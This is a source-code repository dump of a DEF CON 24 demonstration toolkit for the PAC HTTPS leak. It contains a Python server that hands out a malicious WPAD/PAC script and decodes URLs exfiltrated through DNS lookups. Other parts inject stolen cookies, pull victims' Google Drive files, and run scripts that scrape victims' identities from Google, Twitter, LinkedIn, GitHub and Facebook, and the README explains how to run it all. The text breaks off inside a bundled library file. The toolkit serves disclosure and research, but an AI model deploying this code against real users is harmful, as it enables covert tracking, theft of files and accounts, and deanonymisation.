├── .gitignore ├── LICENSE.txt ├── PACDNSServer.py ├── PACLeak.py ├── README.md ├── download └── .filesgohere ├── requirements.txt ├── static ├── deanonymise.js ├── eventsource.js ├── googlesteal.js ├── index.html ├── oauth.js ├── pacmaster.css ├── pacmaster.html ├── pacserver.js ├── pacshell.html └── victim.html └── templates └── pac.js /.gitignore: -------------------------------------------------------------------------------- 1 | download/** 2 | !download/.filesgohere 3 | *.pyc 4 | .vscode/ -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 Context Information Security 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: 6 | 7 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. 8 | 9 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /PACDNSServer.py: -------------------------------------------------------------------------------- 1 | from dnslib.proxy import ProxyResolver, PassthroughDNSHandler 2 | from dnslib.server import DNSLogger, DNSHandler, DNSServer 3 | from dnslib import DNSRecord,RCODE,RR,QTYPE,A 4 | import time 5 | import socket 6 | import fcntl 7 | import struct 8 | 9 | URL_SUFFIX = 'u' 10 | RET_SUFFIX = 'r' 11 | 12 | decode_cache = {} 13 | 14 | # Decode a hostname received from the PAC script 15 | # The hostname should end in either .u (for leaked URLs) or .r (for eval results) 16 | def pac_dns_decode(hostname): 17 | bits = hostname.split('.') 18 | if len(bits) < 4: 19 | return None 20 | tld = bits.pop() 21 | if tld != URL_SUFFIX and tld != RET_SUFFIX: 22 | return None 23 | 24 | total_parts = int(bits.pop()) 25 | part_no = int(bits.pop()) 26 | msg_no = bits.pop() 27 | pac_sid = bits.pop() 28 | encoded_data = ''.join(bits) 29 | 30 | msg_id = '{0:s}_{1:s}'.format(pac_sid, msg_no) 31 | if msg_id not in decode_cache: 32 | decode_cache[msg_id] = [None] * total_parts 33 | 34 | # base36 decode 35 | decoded_part = '' 36 | for chunk in [encoded_data[i : i + 10] for i in range(0, len(encoded_data), 10)]: 37 | n = int(chunk, 36) 38 | decoded_part += ''.join([chr((n >> (i * 8)) & 0xff) for i in range(5, -1, -1)]).strip("\x00") 39 | 40 | decode_cache[msg_id][part_no] = decoded_part 41 | if all(decode_cache[msg_id]): # we have all the parts of the message 42 | decoded_data = ''.join(decode_cache[msg_id][::-1]) #Needs reversing 43 | del decode_cache[msg_id] 44 | d = dict(total_parts=total_parts, part_no=part_no, msg_no=msg_no, pac_sid=pac_sid, tld=tld, data=decoded_data) 45 | return d # return full message 46 | # return message part 47 | return dict(total_parts=total_parts, part_no=part_no, msg_no=msg_no, pac_sid=pac_sid, tld=tld) 48 | 49 | def get_ip_address(ifname): 50 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 51 | return socket.inet_ntoa(fcntl.ioctl( 52 | s.fileno(), 53 | 0x8915, # SIOCGIFADDR 54 | struct.pack('256s', ifname[:15]) 55 | )[20:24]) 56 | 57 | class PACDNSResolver(ProxyResolver): 58 | def __init__(self, server, port, timeout, queue=None, ifname='eth0'): 59 | super(PACDNSResolver, self).__init__(server, port, timeout) 60 | self.server_ip = get_ip_address(ifname) 61 | self.queue = queue 62 | 63 | def resolve(self, request, handler): 64 | qname = str(request.get_q().get_qname())[:-1] 65 | if qname.endswith(URL_SUFFIX) or qname.endswith(RET_SUFFIX): # it's a DNS-encoded message (part) from our PAC script 66 | info = pac_dns_decode(qname) 67 | if info and 'data' in info and self.queue: # we have a complete message 68 | if info['tld'] == URL_SUFFIX: 69 | channel = 'url' 70 | elif info['tld'] == RET_SUFFIX: 71 | channel = 'eval' 72 | item = dict(type=channel, data=info['data'], pac_sid=info['pac_sid']) 73 | self.queue.put(item) 74 | reply = request.reply() 75 | reply.header.rcode = getattr(RCODE, 'NXDOMAIN') 76 | elif qname.startswith('oauthint'): # oauthint.foo.com will resolve to IP of this server 77 | reply = request.reply() 78 | reply.add_answer(RR(qname, QTYPE.A, rdata=A(self.server_ip))) 79 | else: 80 | reply = super(PACDNSResolver, self).resolve(request, handler) 81 | return reply 82 | 83 | class PACDNSServer(): 84 | def __init__(self, server, port=53, queue=None, ifname='eth0'): 85 | resolver = PACDNSResolver(server, port, timeout=5, queue=queue, ifname=ifname) 86 | handler = DNSHandler 87 | logger = DNSLogger("request", False) 88 | self.udp_server = DNSServer(resolver, logger=logger, handler=handler) 89 | 90 | def start(self, no_exit=False): 91 | self.udp_server.start_thread() 92 | while no_exit and self.udp_server.isAlive(): 93 | time.sleep(1) 94 | 95 | -------------------------------------------------------------------------------- /PACLeak.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, make_response, send_file, Response, request, send_from_directory, render_template, redirect 2 | import os, json, re, uuid 3 | from datetime import datetime 4 | import urllib2, requests 5 | import gevent 6 | import argparse 7 | 8 | from gevent.queue import Queue, Full 9 | from gevent.wsgi import WSGIServer 10 | from gevent import monkey 11 | from PACDNSServer import PACDNSServer 12 | 13 | app = Flask(__name__) 14 | 15 | next_pac_session_id = 0 16 | 17 | pac_sessions = {} 18 | victim_subscriptions = {} 19 | master_subscriptions = [] 20 | subscriptions_by_pacsid = {} 21 | 22 | gdrive_request_sessions = {} 23 | 24 | # Read DNS events from the queue and push them out to subscribers 25 | def handle_subscriptions(dns_queue): 26 | while True: 27 | info = dns_queue.get() 28 | pac_sid = info['pac_sid'] 29 | if info['type'] == 'eval' and info['data'].startswith('sidrequest-'): 30 | # victim script registering its subscription id 31 | sub_id = info['data'].replace('sidrequest-', '') 32 | register_pac_sub(sub_id, pac_sid) 33 | print(info) 34 | # send leaked URL or eval result back to the originating victim browser 35 | if pac_sid in subscriptions_by_pacsid: 36 | subscriptions_by_pacsid[pac_sid].put(info) 37 | # also send everything to all master subscriptions 38 | for q in master_subscriptions: 39 | q.put(info) 40 | 41 | def master_broadcast(**data): 42 | for q in master_subscriptions: 43 | q.put(data) 44 | 45 | def victim_broadcast(**data): 46 | for s in victim_subscriptions.values(): 47 | s['queue'].put(data) 48 | 49 | # link a SSE subscription with a PAC session ID 50 | # this allows us to send leaked URLs and PAC JS eval results back to the originating browser 51 | def register_pac_sub(sub_id, pac_sid): 52 | if sub_id not in victim_subscriptions: 53 | return 54 | app.logger.debug("Registering victim subscription ID {} to PAC SID {}".format(sub_id, pac_sid)) 55 | q = victim_subscriptions[sub_id]['queue'] 56 | victim_subscriptions[sub_id]['pac_sid'] = pac_sid 57 | subscriptions_by_pacsid[pac_sid] = q 58 | 59 | 60 | def sub_id_to_pac_sid(sub_id): 61 | pac_sid = None 62 | if sub_id in victim_subscriptions: 63 | pac_sid = victim_subscriptions[sub_id]['pac_sid'] 64 | return pac_sid 65 | 66 | # allows victim pages to publish data to master page or vice versa 67 | @app.route('/publish') 68 | def publishMsg(): 69 | msg = request.args.get('msg', None) 70 | sub_id = request.args.get('qid', None) 71 | to = request.args.get('to', 'master') 72 | channel = request.args.get('channel', 'msg') 73 | if not sub_id: 74 | return '' 75 | 76 | if to == 'master': 77 | pac_sid = sub_id_to_pac_sid(sub_id) 78 | master_broadcast(type=channel, msg=msg, pac_sid=pac_sid) 79 | elif to == 'victims': 80 | victim_broadcast(type=channel, msg=msg) 81 | return '' 82 | 83 | # Download files from Google Drive 84 | @app.route('/google-doc-download/') 85 | def googleDoc(): 86 | url = request.args.get('url', None) 87 | sub_id = request.args.get('qid', None) # the id of the SSE subscription 88 | if not sub_id or not url: 89 | return '' 90 | 91 | # set up or fetch Requests session to keep cookies 92 | sess = gdrive_request_sessions.get(sub_id, None) 93 | if not sess: 94 | gdrive_request_sessions[sub_id] = sess = requests.Session() 95 | 96 | r = sess.get(url, allow_redirects=False, stream=True) 97 | if r.status_code == 302: # If we get a 302, send it back to the victim to request 98 | loc = r.headers['location'] 99 | print("googleDoc 302 - " + loc) 100 | victim_subscriptions[sub_id]['queue'].put(dict(type='do_request', url=loc)) 101 | elif r.status_code == 200: # We can download the file 102 | content_type = r.headers.get('content-type', 'no-type') 103 | content_len = r.headers.get('content-length', 0) 104 | result = re.findall("filename\*=UTF-8''(.*)", r.headers['content-disposition']) 105 | if result: 106 | filename = urllib2.unquote(result[0]) 107 | else: 108 | filename = str(content_len) + content_type.replace('/','_') + '.bin' 109 | master_broadcast(type='show_url', msg = dict(title='Got GDrive File', linktext=filename, href='/static/gdrive/'+filename)); 110 | print("got 200 - " + content_type + " " + str(content_len) + " " + filename) 111 | with open('download/' + filename, 'w') as f: # yolosec 112 | for chunk in r.iter_content(1024): 113 | f.write(chunk) 114 | return '' 115 | 116 | @app.route('/static/gdrive/') 117 | def get_gdrive_file(path): 118 | return send_from_directory('download', path); 119 | 120 | # This used by the JavaScript PACServer.scrapeUrl function 121 | @app.route("/util/requests") 122 | def flask_util_requests(): 123 | url = request.args.get("url", None) 124 | regex = request.args.get("regex", None) 125 | cookies = json.loads(request.args.get("cookies", "{}")) 126 | 127 | if url is None: 128 | return json.dumps([]) 129 | 130 | headers = { "user-agent" : "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36", "upgrade-insecure-requests" : "1", "accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", } 131 | r = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False); 132 | if regex is None: 133 | data = [r.text] 134 | else: 135 | print(regex) 136 | data = re.findall(regex, r.text) 137 | 138 | response = { 139 | "code" : r.status_code, 140 | "headers" : { x : y for x, y in r.headers.items()}, 141 | "cookies" : r.cookies.get_dict(), 142 | "data" : data, 143 | } 144 | print(repr(response)) 145 | return json.dumps(response) 146 | 147 | # This is used by the OAuth demo to inject stolen cookies into a fake subdomain of the target site 148 | @app.route("/util/redirect") 149 | def flask_util_redirect(): 150 | url = request.args.get("url", None) 151 | if url is None: 152 | return "" 153 | cookies = json.loads(request.args.get("cookies", "{}")) 154 | 155 | #Hack 156 | domain = "." + request.args.get("domain", ".".join(url.split('/')[2].split(".")[1:])) 157 | if domain == ".None": 158 | domain = None 159 | 160 | resp = make_response(redirect(url)) 161 | for cookie in cookies: 162 | resp.set_cookie(cookie, value=cookies[cookie], domain=domain) 163 | 164 | return resp 165 | 166 | 167 | # Serve a PAC file with a unique session ID 168 | @app.route("/proxy.pac") 169 | @app.route("/wpad.dat") 170 | def ProxyWpad(): 171 | global next_pac_session_id 172 | # if a browser script is using just using wpad.dat for the JS functions then don't register it 173 | not_a_pac_request = 'notapacrequest' in request.args 174 | 175 | user_agent = request.headers.get('user-agent', 'None') 176 | timestamp = datetime.now().strftime('%c') 177 | if not_a_pac_request: 178 | pac_sid = 0 179 | else: 180 | pac_sid = next_pac_session_id = next_pac_session_id + 1 181 | pac_sessions[pac_sid] = {'user_agent': user_agent, 'sid': pac_sid, 'timestamp': timestamp} 182 | app.logger.debug("Sent PAC script for UA: {} SID: {}".format(user_agent, pac_sid)) 183 | master_broadcast(type='pac_sessions', sessions=pac_sessions) 184 | 185 | templ = render_template("pac.js", user_agent=json.dumps(user_agent), session_id=json.dumps(pac_sid), timestamp=json.dumps(timestamp)) 186 | resp = make_response(templ) 187 | resp.headers['Content-type'] = "application/x-ns-proxy-autoconfig" 188 | resp.cache_control.max_age = 3600 189 | return resp 190 | 191 | def add_subscription(is_master=False): 192 | q = Queue() 193 | sub_id = str(uuid.uuid4()) 194 | q.put(dict(type='sub_id', sub_id=sub_id)) 195 | if is_master: 196 | master_subscriptions.append(q) 197 | q.put(dict(type='pac_sessions', sessions=pac_sessions)) 198 | else: 199 | victim_subscriptions[sub_id] = {'queue':q, 'pac_sid': None } 200 | return q, sub_id 201 | 202 | def remove_subscription(q, sub_id): 203 | if q in master_subscriptions: 204 | app.logger.warning("removing master subscription " + sub_id) 205 | master_subscriptions.remove(q) 206 | else: 207 | app.logger.warning("removing victim subscription " + sub_id) 208 | pac_sid = victim_subscriptions[sub_id]['pac_sid'] 209 | if sub_id in victim_subscriptions: 210 | del victim_subscriptions[sub_id] 211 | if pac_sid in subscriptions_by_pacsid: 212 | del subscriptions_by_pacsid[pac_sid] 213 | 214 | @app.route("/subscribe") 215 | def subscribe(): 216 | def gen(is_master = False): 217 | q, sub_id = add_subscription(is_master) 218 | m = 'victim' 219 | if is_master: 220 | m = 'master' 221 | app.logger.info("started {} subscription {}".format(m, sub_id)) 222 | try: 223 | while True: 224 | result = q.get() 225 | yield "data: {}\n\n".format(json.dumps(result)) # HTML S Server-Sent Event format 226 | except GeneratorExit: 227 | remove_subscription(q, sub_id) 228 | 229 | is_master = 'master' in request.args 230 | return Response(gen(is_master), mimetype="text/event-stream") 231 | 232 | @app.route('/static/') 233 | def files(path): 234 | return send_from_directory('static', path) 235 | 236 | @app.route('/') 237 | def index(): 238 | return send_file('static/index.html') 239 | 240 | monkey.patch_all() # make threaded DNS server play nicely with gevent 241 | 242 | def start_servers(upstream_dns, ifname): 243 | dns_queue = Queue() 244 | dnsserver = PACDNSServer(upstream_dns, queue=dns_queue) 245 | dnsserver.start() 246 | gevent.spawn(handle_subscriptions, dns_queue) 247 | server = WSGIServer(('0.0.0.0', 8081), app) 248 | server.serve_forever() 249 | 250 | if __name__ == "__main__": 251 | app.debug = True 252 | parser = argparse.ArgumentParser() 253 | parser.add_argument('-i', '--ifname', help='Network interface with IP that "master" browser can reach (used for OAuth demo)', default='eth0') 254 | parser.add_argument('-d', '--dns', help='Upstream DNS server (defaults to Google DNS)', default='8.8.8.8') 255 | args = parser.parse_args() 256 | start_servers(args.dns, args.ifname) 257 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PAC HTTPS Leak Demos 2 | 3 | ## Intro 4 | 5 | This is the code for the demos from our DEF CON 24 talk, 6 | [Toxic Proxies - Bypassing HTTPS and VPNs to Pwn Your Online Identity] (https://defcon.org/html/defcon-24/dc-24-speakers.html#Chapman) 7 | The demos use the [PAC HTTPS leak] (http://www.contextis.com/resources/blog/leaking-https-urls-20-year-old-vulnerability/) 8 | to steal data and do various fun things. Our demos worked in Chrome on Windows 9 | with default settings, until the issue was fixed in Chrome 52. You can use 10 | Chrome 52+ to try out these demos if you launch it with the --unsafe-pac-url flag. 11 | 12 | * Slides: https://speakerdeck.com/noxrnet/toxic-proxies-bypassing-https-and-vpns-to-pwn-your-online-identity 13 | * Video of demo: https://www.youtube.com/watch?v=z1XOCYV9jMQ 14 | 15 | ## Prequisites 16 | 17 | The Python server has been tested Linux with Python 2. Run: 18 | pip install -r requirements.txt 19 | to fetch the required Python libraries. 20 | 21 | ## How to run this 22 | 23 | The PACServer.py script will start up a DNS server (port 53 UDP) and a web 24 | server (port 8081). It will serve a 'malicious' PAC script from /wpad.dat. 25 | 26 | You'll need two browsers - a 'victim' browser configured to use the malicious 27 | PAC script and DNS server and a 'master' browser that receives the leaked data. 28 | For the OAuth demo to work, the master browser will need to use the malicious 29 | DNS server too. 30 | 31 | Server: 32 | * Run the Python script like so (sudo is necessary so it can bind to port 53): 33 | sudo python PACLeak.py 34 | 35 | Victim side: 36 | * Configure DNS to point to {serverip} 37 | * Configure proxy settings to point to http://{serverip}:8081/wpad.dat 38 | * If you're using Chrome 52 or later, you'll 39 | need to add the --unsafe-pac-url command line flag when launching Chrome. 40 | * Browse to http://{serverip}:8081/static/victim.html 41 | 42 | Master side: 43 | * (Optional for OAuth functionality) Configure DNS to point to {serverip} 44 | * Browse to http://{serverip}:8081/static/pacmaster.html 45 | 46 | If you want to be fancy, you can set up a proper gateway server that will run 47 | the Python script and do the WPAD injection via DHCP or DNS etc... but you'll 48 | have to figure that out yourself. 49 | 50 | If everything is working correctly, when your victim browser fetches the PAC 51 | script, you'll see something like the following in the script output: 52 | 53 | ``` 54 | DEBUG in PACServer [PACServer.py:181]: 55 | Sent PAC script for UA: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, 56 | like Gecko) Chrome/52.0.2743.116 Safari/537.36 SID: 2 57 | -------------------------------------------------------------------------------- 58 | 192.168.8.193 - - [2016-08-09 15:52:49] "GET /wpad.dat HTTP/1.1" 200 6317 0.002341 59 | ``` 60 | 61 | You should then start to see leaked URLs being received by the DNS server: 62 | 63 | ``` 64 | Request: [192.168.8.193:49318] (udp) / '14pl2qy2ii0ie1ootzl815ru6po7zb168vdhvkod0mop9grupb.1.279.0.1.u.' (A) 65 | {'data': 'https://mtalk.google.com:5228/', 'pac_sid': '1', 'type': 'url'} 66 | Request: [192.168.8.193:52374] (udp) / '14pl2qy2ii0ie1rgu9f214ba2a93l10i2v6v3rl7000000001b.1.280.0.1.u.' (A) 67 | {'data': 'https://www.google.co.uk/', 'pac_sid': '1', 'type': 'url'} 68 | ``` 69 | 70 | 71 | ## How it works: 72 | 73 | ### PAC script 74 | 75 | By default the PAC script will leak every URL it is asked to resolve. It encodes 76 | URLs in a base-36 encoding and appends the fake .u domain. Some URLs are too 77 | long to fit inside a single hostname, so it will encode them in multiple domain 78 | requests. 79 | 80 | We set up 2-way communication between the browser and the PAC script. The 81 | browser encodes JavaScript code inside base-36 hostnames ending in .e. The PAC 82 | script decodes these and evals the JavaScript code. It then encodes the result 83 | with a .r domain. The Python DNS server decodes any .u and .r lookups it receives 84 | and sends the result to the browser. 85 | 86 | The PAC script has a list of 'leak' regexes and a list of 'block' regexes. These 87 | lists are set up by the browser via the eval mechanism described above. If the 88 | 'leak' list is non-empty, then the PAC script will only leak URLs that match one 89 | of the regexes in the list. The 'block' list is similar - if the PAC script is 90 | asked about a URL that matches a block regex, it will tell the browser to use 91 | a non-existant proxy, preventing the browser from loading that single URL. 92 | 93 | The Python server gives each PAC script it serves a unique session ID. Every 94 | leaked URL or eval response that is encoded also contains this ID. 95 | 96 | ### The Python Server 97 | 98 | The Python server script does a few things. It hands out the malicious PAC 99 | scripts, it decodes DNS-encoded data from the PAC scripts. It also facilitates 100 | communication between the 'victim' browsers and the 'master' browser. Events are 101 | streamed from the server to web pages via [HTML5 server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events) channels. Each event stream has a unique ID. The 102 | server tries to link each PAC session ID with an event stream so it can route 103 | data received from each PAC script back to the corrent event stream. 104 | 105 | ### Attack scripts 106 | 107 | The majority of the logic behind the demos is done by JavaScript in the victim 108 | browser (deanonymise.js, googlesteal.js and oauth.js). These all use the 109 | PACServer class in pacserver.js to do their stuff. PACServer is used to 110 | communicate with the PAC script, with the web server, and to communicate between 111 | the victim and master webpages. 112 | 113 | The demos all work by triggering 302 redirects and [page prerenders](https://css-tricks.com/prefetching-preloading-prebrowsing/#article-header-id-4). They then 114 | register to receive URLs leaked from their PAC script, and send the relevant 115 | bits to the master page. The master page recieves and displays all URLs leaked 116 | by all PAC scripts, as well as messages received from the victims. 117 | -------------------------------------------------------------------------------- /download/.filesgohere: -------------------------------------------------------------------------------- 1 | Files downloaded from Google Drive will go in here -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | flask>=0.10.0 2 | requests>=2.2.0 3 | dnslib>=0.9.6 4 | gevent>=1.1.1 5 | -------------------------------------------------------------------------------- /static/deanonymise.js: -------------------------------------------------------------------------------- 1 | function deanonymise(pac) { 2 | pac.resetPacState(); 3 | do_google(pac); 4 | do_twitter(pac); 5 | do_linkedin(pac); 6 | do_github(pac); 7 | do_facebook(pac); 8 | } 9 | 10 | // Get Facebook user ID 11 | function do_facebook(pac) { 12 | pac.addRequestHandler("https://www.facebook.com/me", /^https:\/\/www.facebook.com\/([a-z0-9\.]+)$/, function(pac, url, result) { 13 | var username = result[1]; 14 | if (username == 'favicon.ico') return; // not a username! 15 | console.log("facebook username", username); 16 | pac.publishMsg("denonymise", { service: "facebook.com", attribute: "id", value: username}); 17 | // Couldn't get this working in time 18 | // /^https:\/\/scontent[^/]+\.fbcdn\.net\/.*jpg/ 19 | /*pac.addRequestPrerenderHandler("https://www.facebook.com/" + username + "/photos", /scontent/ , 10, function(pac, url) { 20 | console.log("facebook photo", url); 21 | pac.publishMsg("denonymise", { service: "facebook.com", attribute: "photourl", value: url}); 22 | });*/ 23 | }); 24 | } 25 | 26 | // Get Twitter handle and profile picture 27 | function do_twitter(pac) { 28 | pac.addRequestPrerenderHandler("https://twitter.com/lists", /^https:\/\/twitter.com\/(i\/profiles\/show\/|login\?redirect_after_login)/, 1, function(pac, url) { 29 | if (twitter_id = url.match(/show\/([^/]+)/)) { 30 | twitter_id = twitter_id[1]; 31 | console.log("twitter_id: " + twitter_id); 32 | pac.publishMsg("denonymise", { service: "twitter.com", attribute: "id", value: twitter_id }); 33 | 34 | pac.scrapeUrl("https://twitter.com/" + twitter_id, { regex: /ProfileAvatar-image \" src=\"([^"]+)\"/ }, function(pac, data) { 35 | var profile_img = data.data[0]; 36 | if (typeof profile_img != 'undefined') { 37 | pac.publishMsg("denonymise", { service: "twitter.com", attribute: "profileimg", value: profile_img }); 38 | } 39 | }); 40 | } 41 | }); 42 | } 43 | 44 | // Get Google user ID, full name, profile picture, email address and a handful of photos 45 | function do_google(pac) { 46 | pac.addRequestHandler("https://plus.google.com/me/posts", /^https:\/\/(accounts.google.com\/ServiceLogin|plus.google.com\/[0-9]+\/posts)/, function(pac, url) { 47 | if (google_id = url.match(/\/([0-9]+)\/posts/)) { 48 | google_id = google_id[1]; 49 | console.log("google_id: " + google_id); 50 | pac.publishMsg("denonymise", { service: "google.com", attribute: "id", value: google_id }); 51 | 52 | pac.scrapeUrl("https://plus.google.com/" + google_id + "/posts", function(pac, data) { 53 | var html = data.data[0]; 54 | var m = html.match(/]*>([^-]+) - Google\+/) 55 | if (m) { 56 | pac.publishMsg("denonymise", { service: "google.com", attribute: "name", value: m[1] }); 57 | } 58 | 59 | m = html.match(/img src=\"([^\"]+)\" alt=\"Profile photo\"/); 60 | if (m) { 61 | pac.publishMsg("denonymise", { service: "google.com", attribute: "profileimg", value: m[1] }); 62 | } 63 | }); 64 | 65 | // this doesn't seem to work for some accounts 66 | pac.scrapeUrl("https://code.google.com/u/" + google_id, { regex: RegExp("]+>([^<]+)") }, function(pac, data) { 67 | if (typeof data.data[0] != 'undefined') { 68 | pac.publishMsg("denonymise", { service: "google.com", attribute: "email", value: data.data[0] }); 69 | }; 70 | }); 71 | } 72 | }); 73 | 74 | pac.addRequestPrerenderHandler("https://drive.google.com/drive/photos", /^https:\/\/[^.]+\.googleusercontent.com\/.*w200-h200-p-k-nu/, 10, function(pac, url) { 75 | console.log("google_photos:" + url); 76 | pac.publishMsg("denonymise", { service: "google.com", attribute: "photourl", value: url}); 77 | }); 78 | 79 | } 80 | 81 | // Get LinkedIn user ID and job title 82 | function do_linkedin(pac) { 83 | pac.addRequestPrerenderHandler("https://www.linkedin.com/profile/view", /www.linkedin.com(\/uas\/login|%2Fin%2F)/, 1, function(pac, url) { 84 | if (linkedin_id = url.match(/www.linkedin.com%2Fin%2F([^%]+)/)) { 85 | linkedin_id = linkedin_id[1]; 86 | console.log("linkedin_id: " + linkedin_id); 87 | pac.publishMsg("denonymise", { service: "linkedin.com", attribute: "id", value: linkedin_id }); 88 | 89 | pac.scrapeUrl("https://www.linkedin.com/in/" + linkedin_id, { regex: /data-section=\"headline\">(.*?)<\/p>/ }, function(pac, data) { 90 | employment = data.data[0] 91 | if (typeof employment != 'undefined') { 92 | pac.publishMsg("denonymise", { service: "linkedin.com", attribute: "employment", value: employment }); 93 | } 94 | }); 95 | } 96 | }); 97 | } 98 | 99 | // Get GitHub user ID 100 | function do_github(pac) { 101 | pac.addRequestPrerenderHandler("https://github.com", /^https:\/\/collector.githubapp.com\/github\/page_view/, 1, function(pac, url) { 102 | if (github_id = url.match(/\[actor_login\]=([^&]+)/)) { 103 | github_id = github_id[1]; 104 | console.log("github_id:" + github_id); 105 | pac.publishMsg("denonymise", { service: "github.com", attribute: "id", value: github_id }); 106 | } 107 | }); 108 | } 109 | 110 | -------------------------------------------------------------------------------- /static/eventsource.js: -------------------------------------------------------------------------------- 1 | /** @license 2 | * eventsource.js 3 | * Available under MIT License (MIT) 4 | * https://github.com/Yaffle/EventSource/ 5 | */ 6 | 7 | /*jslint indent: 2, vars: true, plusplus: true */ 8 | /*global setTimeout, clearTimeout */ 9 | 10 | (function (global) { 11 | "use strict"; 12 | 13 | var setTimeout = global.setTimeout; 14 | var clearTimeout = global.clearTimeout; 15 | 16 | function Map() { 17 | this.data = {}; 18 | } 19 | 20 | Map.prototype.get = function (key) { 21 | return this.data[key + "~"]; 22 | }; 23 | Map.prototype.set = function (key, value) { 24 | this.data[key + "~"] = value; 25 | }; 26 | Map.prototype["delete"] = function (key) { 27 | delete this.data[key + "~"]; 28 | }; 29 | 30 | function EventTarget() { 31 | this.listeners = new Map(); 32 | } 33 | 34 | function throwError(e) { 35 | setTimeout(function () { 36 | throw e; 37 | }, 0); 38 | } 39 | 40 | EventTarget.prototype.dispatchEvent = function (event) { 41 | event.target = this; 42 | var type = event.type.toString(); 43 | var listeners = this.listeners; 44 | var typeListeners = listeners.get(type); 45 | if (typeListeners == undefined) { 46 | return; 47 | } 48 | var length = typeListeners.length; 49 | var i = -1; 50 | var listener = undefined; 51 | while (++i < length) { 52 | listener = typeListeners[i]; 53 | try { 54 | listener.call(this, event); 55 | } catch (e) { 56 | throwError(e); 57 | } 58 | } 59 | }; 60 | EventTarget.prototype.addEventListener = function (type, callback) { 61 | type = type.toString(); 62 | var listeners = this.listeners; 63 | var typeListeners = listeners.get(type); 64 | if (typeListeners == undefined) { 65 | typeListeners = []; 66 | listeners.set(type, typeListeners); 67 | } 68 | var i = typeListeners.length; 69 | while (--i >= 0) { 70 | if (typeListeners[i] === callback) { 71 | return; 72 | } 73 | } 74 | typeListeners.push(callback); 75 | }; 76 | EventTarget.prototype.removeEventListener = function (type, callback) { 77 | type = type.toString(); 78 | var listeners = this.listeners; 79 | var typeListeners = listeners.get(type); 80 | if (typeListeners == undefined) { 81 | return; 82 | } 83 | var length = typeListeners.length; 84 | var filtered = []; 85 | var i = -1; 86 | while (++i < length) { 87 | if (typeListeners[i] !== callback) { 88 | filtered.push(typeListeners[i]); 89 | } 90 | } 91 | if (filtered.length === 0) { 92 | listeners["delete"](type); 93 | } else { 94 | listeners.set(type, filtered); 95 | } 96 | }; 97 | 98 | function Event(type) { 99 | this.type = type; 100 | this.target = undefined; 101 | } 102 | 103 | function MessageEvent(type, options) { 104 | Event.call(this, type); 105 | this.data = options.data; 106 | this.lastEventId = options.lastEventId; 107 | } 108 | 109 | MessageEvent.prototype = Event.prototype; 110 | 111 | var XHR = global.XMLHttpRequest; 112 | var XDR = global.XDomainRequest; 113 | var isCORSSupported = XHR != undefined && (new XHR()).withCredentials != undefined; 114 | var Transport = isCORSSupported || (XHR != undefined && XDR == undefined) ? XHR : XDR; 115 | 116 | var WAITING = -1; 117 | var CONNECTING = 0; 118 | var OPEN = 1; 119 | var CLOSED = 2; 120 | var AFTER_CR = 3; 121 | var FIELD_START = 4; 122 | var FIELD = 5; 123 | var VALUE_START = 6; 124 | var VALUE = 7; 125 | var contentTypeRegExp = /^text\/event\-stream;?(\s*charset\=utf\-8)?$/i; 126 | 127 | var MINIMUM_DURATION = 1000; 128 | var MAXIMUM_DURATION = 18000000; 129 | 130 | function getDuration(value, def) { 131 | var n = value; 132 | if (n !== n) { 133 | n = def; 134 | } 135 | return (n < MINIMUM_DURATION ? MINIMUM_DURATION : (n > MAXIMUM_DURATION ? MAXIMUM_DURATION : n)); 136 | } 137 | 138 | function fire(that, f, event) { 139 | try { 140 | if (typeof f === "function") { 141 | f.call(that, event); 142 | } 143 | } catch (e) { 144 | throwError(e); 145 | } 146 | } 147 | 148 | function EventSource(url, options) { 149 | url = url.toString(); 150 | 151 | var withCredentials = isCORSSupported && options != undefined && Boolean(options.withCredentials); 152 | var initialRetry = getDuration(1000, 0); 153 | var heartbeatTimeout = getDuration(45000, 0); 154 | 155 | var lastEventId = ""; 156 | var that = this; 157 | var retry = initialRetry; 158 | var wasActivity = false; 159 | var CurrentTransport = options != undefined && options.Transport != undefined ? options.Transport : Transport; 160 | var xhr = new CurrentTransport(); 161 | var timeout = 0; 162 | var timeout0 = 0; 163 | var charOffset = 0; 164 | var currentState = WAITING; 165 | var dataBuffer = []; 166 | var lastEventIdBuffer = ""; 167 | var eventTypeBuffer = ""; 168 | var onTimeout = undefined; 169 | 170 | var state = FIELD_START; 171 | var field = ""; 172 | var value = ""; 173 | 174 | function close() { 175 | currentState = CLOSED; 176 | if (xhr != undefined) { 177 | xhr.abort(); 178 | xhr = undefined; 179 | } 180 | if (timeout !== 0) { 181 | clearTimeout(timeout); 182 | timeout = 0; 183 | } 184 | if (timeout0 !== 0) { 185 | clearTimeout(timeout0); 186 | timeout0 = 0; 187 | } 188 | that.readyState = CLOSED; 189 | } 190 | 191 | function onEvent(type) { 192 | var responseText = ""; 193 | if (currentState === OPEN || currentState === CONNECTING) { 194 | try { 195 | responseText = xhr.responseText; 196 | } catch (error) { 197 | // 